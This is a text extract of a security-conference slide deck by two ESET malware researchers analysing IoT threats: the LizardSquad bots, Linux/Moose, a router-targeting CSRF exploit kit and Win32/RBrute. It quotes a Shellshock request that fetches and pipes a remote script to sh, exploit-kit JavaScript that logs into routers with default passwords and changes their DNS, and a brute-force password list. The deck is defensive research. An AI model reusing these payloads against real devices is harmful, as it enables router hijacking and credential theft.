. IoT or Internet of {Things,Threats} Thomas (@nyx__o) Malware - - PowerPoint PPT Presentation

▶
iot or internet of things threats thomas nyx o
SMART_READER_LITE
LIVE PREVIEW

. IoT or Internet of {Things,Threats} Thomas (@nyx__o) Malware - - PowerPoint PPT Presentation

Apr 15, 2023 202 likes •1.25k views

. IoT or Internet of {Things,Threats} Thomas (@nyx__o) Malware Researcher at ESET CTF lover Open source contributor Olivier (@obilodeau) Malware Researcher at ESET Infosec lecturer at ETS University in Montreal Previously infosec

slide-1
SLIDE 1

.

slide-2
SLIDE 2

IoT or Internet of {Things,Threats}

slide-3
SLIDE 3

Thomas (@nyx__o)

Malware Researcher at ESET CTF lover Open source contributor

slide-4
SLIDE 4

Olivier (@obilodeau)

Malware Researcher at ESET Infosec lecturer at ETS University in Montreal Previously infosec developer, network admin, linux system admin Co-founder Montrehack (hands-on security workshops) Founder NorthSec Hacker Jeopardy

slide-5
SLIDE 5

Agenda

About IOT LizardSquad Linux/Moose Exploit Kit Win32/RBrute Conclusion

slide-6
SLIDE 6
slide-7
SLIDE 7
slide-8
SLIDE 8
slide-9
SLIDE 9
slide-10
SLIDE 10
slide-11
SLIDE 11
slide-12
SLIDE 12
slide-13
SLIDE 13

Why It Matters?

Hard to detect Hard to remediate Hard to fix Low hanging fruit for bad guys

slide-14
SLIDE 14

A Real Threat

Several cases disclosed in the last two years A lot of same-old background noise (DDoSer) Things are only getting worse

slide-15
SLIDE 15
slide-16
SLIDE 16
slide-17
SLIDE 17
slide-18
SLIDE 18
slide-19
SLIDE 19
slide-20
SLIDE 20

Wait, is IoT malware really about things?

slide-21
SLIDE 21
  • No. Not yet.
  • No. Not yet.
slide-22
SLIDE 22
slide-23
SLIDE 23
slide-24
SLIDE 24

So what kind of malware can we find on such insecure devices?

slide-25
SLIDE 25

LizardSquad LizardSquad

slide-26
SLIDE 26
slide-27
SLIDE 27

Who are LizardSquad?

Black hat hacking group Lots of Distributed Denial of Service (DDoS) DDoS PlayStation Network and Xbox live in Christmas 2014 Bomb threats DDoS for hire (LizardStresser)

slide-28
SLIDE 28

Des CYBER- Des CYBER- CHENAPANS! CHENAPANS!

slide-29
SLIDE 29
slide-30
SLIDE 30

The Malware

Linux/Gafgyt Linux/Powbot, Linux/Aidra, Kaiten, … Probably others, as source is public

slide-31
SLIDE 31

THIS IS A BOT. AN IRC BOT. YOU WILL LIKE THIS BOT AND THIS BOT WILL LIKE YOU. IT IS VERY TINY AND WILL NOT TAKE UP MUCH OF YOUR SPACE AND TIME. IT IS A VERY UNIVERSAL BOT. IT WILL WORK ON ALMOST ANYTHING YOU WANT IT TO WORK ON. THIS IS A BOT. AN IRC BOT.

slide-32
SLIDE 32

Caracteristics

Telnet scanner Flooding: UDP, TCP, Junk and Hold

slide-33
SLIDE 33

if(!strcmp(argv[0], "LOLNOGTFO")) { exit(0); }

slide-34
SLIDE 34

Some Server Code

if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) if(send(thefd, "* WELCOME TO THE BALL PIT *\r\n", 43, MSG_NOSIGNAL) == -1) goto end; if(send(thefd, "* Now with \x1b[32mrefrigerator\x1b[31m support *\r\n", 53, MSG_NOSIGNAL) == - if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -

slide-35
SLIDE 35

Attack Vectors

Shellshock SSH credentials brute-force Telnet credentials brute-force

slide-36
SLIDE 36

Exemple of Shellshock Attempt

GET /cgi-bin/authLogin.cgi HTTP/1.1 Host: 127.0.0.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: () { goo;}; wget -qO - http://o.kei.su/qn | sh > /dev/null 2>&1 &

slide-37
SLIDE 37

Other Variants

HTTPS support CloudFlare protection bypass

slide-38
SLIDE 38
slide-39
SLIDE 39

Sophisticated?

LizardStresser database was leaked Passwords in plaintext…

slide-40
SLIDE 40

IRC Command and Control

  • ------ Day changed to 08/25/15 -------

09:32 -!- There are 0 users and 2085 invisible on 1 servers 09:32 -!- 42 unknown connection(s) 09:32 -!- 3 channels formed 09:32 -!- I have 2085 clients and 0 servers 09:32 -!- 2085 2119 Current local users 2085, max 2119 09:32 -!- 2085 2119 Current global users 2085, max 2119

slide-41
SLIDE 41

Bot Masters

12:56 -!- Topic for #Fazzix: 1k 12:56 -!- Topic set by void <> (Wed Aug 19 09:58:45 2015) 12:56 [Users #Fazzix] 12:56 [~void] [~void_] [@bob1k] [@Fazzix] [ Myutro]· 12:56 -!- Irssi: #Fazzix: Total of 5 nicks (4 ops, 0 halfops, 0 voices, 1 normal) 12:56 -!- Channel #Fazzix created Mon Aug 17 03:11:29 2015 12:56 -!- Irssi: Join to #Fazzix was synced in 2 secs

slide-42
SLIDE 42

Linux/Moose Linux/Moose

slide-43
SLIDE 43

Linux/Moose

Discovered in November 2014 Thoroughly analyzed in early 2015 Published a report in late May 2015

slide-44
SLIDE 44

Moose DNA

aka Malware description

Hang tight, this is a recap

slide-45
SLIDE 45

Linux/Moose…

Named after the string "elan" present in the malware executable

slide-46
SLIDE 46

Elan… ?

slide-47
SLIDE 47

The Lotus Elan

slide-48
SLIDE 48

Elán

The Slovak rock band (from 1969 and still active)

slide-49
SLIDE 49
slide-50
SLIDE 50

Network Capabilities

Pivot through firewalls Home-made NAT traversal Custom-made Proxy service

  • nly available to a set of whitelisted IP addresses

Remotely configured generic network sniffer DNS Hijacking

slide-51
SLIDE 51
slide-52
SLIDE 52

Attack Vector

Telnet credentials bruteforce Wordlist of 304 user/pass entries sent by server

slide-53
SLIDE 53

Compromise Protocol

slide-54
SLIDE 54

Anti-Analysis

Statically linked binary stripped of its debugging symbols Hard to reproduce environment required for malware to operate Misleading strings (getcool.com)

slide-55
SLIDE 55
slide-56
SLIDE 56

Moose Herding

The Malware Operation

slide-57
SLIDE 57

Via C&C Configuration

Network sniffer was used to steal HTTP Cookies Twitter: twll, twid Facebook: c_user Instagram: ds_user_id Google: SAPISID, APISID Google Play / Android: LAY_ACTIVE_ACCOUNT Youtube: LOGIN_INFO

slide-58
SLIDE 58

Via Proxy Usage Analysis

Nature of traffic Protocol Targeted social networks

slide-59
SLIDE 59
slide-60
SLIDE 60
slide-61
SLIDE 61

An Example

slide-62
SLIDE 62

An Example (cont.)

slide-63
SLIDE 63

An Example (cont.)

slide-64
SLIDE 64

An Example (cont.)

slide-65
SLIDE 65

Anti-Tracking

Whitelist means we can’t use the proxy service to evaluate malware population Blind because of HTTPS enforced on social networks DNS Hijacking’s Rogue DNS servers never revealed

slide-66
SLIDE 66
slide-67
SLIDE 67

A Strange Animal

slide-68
SLIDE 68

Different Focus

not in the DDoS or bitcoin mining business no x86 variant found controlled by a single group of actors

slide-69
SLIDE 69

Missing "Features"

No persistence mechanism No shell access for operators

slide-70
SLIDE 70

Thought Big, Realized Little?

In social network fraud, network sniffer irrelevant DNS Hijacking possible but only for few devices No ad fraud, spam, DDoS, etc.

slide-71
SLIDE 71

Status

slide-72
SLIDE 72

Whitepaper Impact

Few weeks after the publication the C&C servers went dark After a reboot, all affected devices should be cleaned But victims compromised via weak credentials, so they can always reinfect

slide-73
SLIDE 73

Alive or dead?

slide-74
SLIDE 74

Yay! Except…

slide-75
SLIDE 75

Linux/Moose Update

New sample in September New proxy service port (20012) New C&C selection algorithm Lots of differences Still under scrutiny

slide-76
SLIDE 76
slide-77
SLIDE 77
slide-78
SLIDE 78

Exploit Kit Targeting Exploit Kit Targeting Routers Routers

slide-79
SLIDE 79

Exploit Kit Definition

Automate exploitation Targets browsers Common exploits are Adobe and Java

slide-80
SLIDE 80

source: Malwarebytes

slide-81
SLIDE 81

Exploit Kit in Action

slide-82
SLIDE 82

Exploit Kit in Action (cont.)

Cross-Site Request Forgery (CSRF) Uses default credential (HTTP) Changes primary Domain Name System (DNS)

slide-83
SLIDE 83

Exploit Kit CSRF

<html><head><script type="text/javascript" src <body> <iframe id="iframe" sandbox="allow-same-origin" <script language="javascript">

slide-84
SLIDE 84

Exploit Kit How-To

function e_belkin(ip){ var method = "POST"; var url = ""; var data =""; url="http://"+ip+"/cgi-bin/login.exe?pws=admin" exp(url, "", "GET"); url="http://"+ip+"/cgi-bin/setup_dns.exe"; data="dns1_1="+pDNS.split('.')[0]+"&dns1_2=" exp(url, data, method); }

slide-85
SLIDE 85

Exploit Kit How-To

function e_moto(ip){ /*var method = "GET"; var url ="http://" + ip + "/frames.asp?userId=admin&password=motorola exp(url, "", method); url ='http://' + ip + 'Gateway.Wan.hostName=&Gateway.Wan.dhcpClientEnabled=0&Gateway.Wan.ipAddress=0.0.0.0&Gateway.Wan.subnetMask=0.0.0.0&Gateway.Wan.defaultGateway=0.0.0.0&Gateway.Wan.dnsAddress1=3.3.3.3&Gateway.Wan.dnsAddress2=2.2.2.2&Gateway.Wan.dnsAddress3=0.0.0.0&Gateway.Wan.tcpSessionWaitTimeout=300&Gateway.Wan.udpSessionWaitTimeout=300&Gateway.Wan.icmpSessionWaitTimeout=300&urlOk=gateway exp(url, "", POST); */ var i1 = document.createElement('IMG'); document.body.appendChild(i1); var i2 = document.createElement('IMG'); document.body.appendChild(i2); i1.src='http://'+ip+'/frames.asp?userId=admin&password=motorola'; i2.src='http://'+ip+'/goformFOO/AlFrame?Gateway.VirtualServerAdvConfig.add=Add&Gateway.VirtualServerAdvConfig.serverId.entry="

slide-86
SLIDE 86

Exploit Kit Improvement

Obfuscation Common Vulnerabilities and Exposures (CVE)

slide-87
SLIDE 87

Exploit Kit - CVE

CVE-2015-1187 D-Link DIR-636L Remote Command Injection Incorrect Authentication

slide-88
SLIDE 88

Recap

Exploit Kit Change DNS Fileless

slide-89
SLIDE 89

What Can They Do?

Bank/webmoney MITM Phishing Adfraud

slide-90
SLIDE 90

You Said Adfraud?

Injection via Google analytics domain hijacking Javascript runs in context of every page

slide-91
SLIDE 91

Exemple of Google Analytics Substitution

'adcash': function() { var adcash = document.createElement('script' adcash.type = 'text/javascript'; adcash.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944' document.body.appendChild(adcash); },

slide-92
SLIDE 92
slide-93
SLIDE 93

Win32/RBrute (cont.)

Tries to find administration web pages (IP) Scan and report Router model is extracted from the realm attribute of the HTTP authentication

slide-94
SLIDE 94

Win32/RBrute Targets

$ strings rbrute.exe [...] TD-W8901G TD-W8901GB TD-W8951ND TD-W8961ND TD-8840T TD-W8961ND TD-8816 TD-8817 TD-W8151N TD-W8101G ZXDSL 831CII ZXV10 W300 [...] DSL-2520U DSL-2600U DSL router TD-W8901G TD-W8901G 3.0 TD-W8901GB TD-W8951ND TD-W8961ND

slide-95
SLIDE 95

Win32/RBrute Bruteforce

Logins: admin, support, root & Administrator Password list retrieved from the CnC

<empty string> 111111 12345 123456 12345678 abc123 admin Administrator consumer dragon gizmodo iqrquksm letmein lifehack monkey password qwerty root soporteETB2006 support

slide-96
SLIDE 96

Win32/RBrute Changing DNS

http://<router_IP>&dnsserver=<malicious_DNS>&dnsserver2=8.8.8.8&Save=Save http://<router_IP>dnscfg.cgi?dnsPrimary=<malicious_DNS> http://<router_IP>Enable_DNSFollowing=1&dnsPrimary=

slide-97
SLIDE 97

Win32/RBrute Next Step

Simple redirection to fake Chrome installer (facebook

  • r google domains)

Install (user action required) Change primary DNS on the computer (via key registry)

HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{network interface UUID}/NameServer

slide-98
SLIDE 98

Why reinfect someone by RBrute and not Sality?

slide-99
SLIDE 99

Win32/RBrute In A Coffee Shop

Infected user Infected router Everyone is infected

slide-100
SLIDE 100

RBrute and Sality

slide-101
SLIDE 101

Conclusion

Embedded malware Not yet complex Tools and processes need to catch up a low hanging fruit Prevention simple

slide-102
SLIDE 102

Thanks

Thank you! ESET Canada Research Team

slide-103
SLIDE 103

Questions? Questions?

@obilodeau @nyx__o

slide-104
SLIDE 104

References

http://www.welivesecurity.com/wp- content/uploads/2015/05/Dissecting-LinuxMoose.pdf http://malware.dontneedcoffee.com/2015/05/an-exploit- kit-dedicated-to-csrf.html https://gist.github.com/josephwegner/1d20f1ce1d59b61172e1 http://www.welivesecurity.com/2014/04/02/win32sality- newest-component-a-routers-primary-dns-changer- named-win32rbrute/